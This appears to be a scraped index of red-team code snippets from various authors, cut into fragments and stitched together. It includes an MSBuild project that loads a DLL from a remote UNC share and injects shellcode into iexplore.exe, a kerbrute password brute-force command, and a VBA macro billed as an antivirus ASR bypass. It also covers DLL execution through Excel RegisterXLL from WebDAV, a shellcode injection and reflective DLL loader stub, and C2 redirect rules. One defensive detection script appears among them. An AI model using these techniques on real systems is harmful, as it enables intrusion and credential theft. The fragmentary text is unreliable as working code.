jfmaes

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DinjectorWithQUserAPC
{


    public class Program

rvrsh3ll

<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
            <Target Name="MyTarget">
                <SimpleTask MyProperty="My voice is my passport."
                MyCode='<base64 encoded x64 shellcode>'
		MyProcess='C:\Program Files\Internet Explorer\iexplore.exe'/>
            </Target>
        <UsingTask TaskName="SimpleTask" AssemblyFile="\\192.168.120.129\share\IEShims.dll" />
</Project>

TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

leoloobeek

package main

/*
*
*  This is just a Go implementation of https://github.com/monoxgas/sRDI/
*  Useful if you're trying to generate shellcode for reflective DLL
*  injection in Go, otherwise probably not much use :)
*
*  The project, shellcode, most comments within this project 
*  are all from the original project by @SilentBreakSec's Nick Landers (@monoxgas)

infosecn1nja

' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule

Sub ASR_blocked()
    Dim WSHShell As Object
    Set WSHShell = CreateObject("Wscript.Shell")
    WSHShell.Run "cmd.exe"
End Sub

HarmJ0y

Windows version:
	reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Users who have authed to the system:
	ls C:\Users\

System env variables:
	reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

Saved outbound RDP connections:

mattifestation

# This idea originated from this blog post on Invoke DSC Resources directly:
# https://blogs.msdn.microsoft.com/powershell/2015/02/27/invoking-powershell-dsc-resources-directly/

<#
$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
    ResourceID = "[Script]ScriptExample";
    GetScript = "\"$(Get-Date): I am being GET\"     | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
    TestScript = "\"$(Get-Date): I am being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";

curi0usJack

	# 
	# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	# 
	# Include /etc/apache2/redirect.rules
	#

jaredcatkinson

function Get-InjectedThread
{
    <# 
    
    .SYNOPSIS 
    
    Looks for threads that were created as a result of code injection.
    
    .DESCRIPTION
    

ryhanson

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc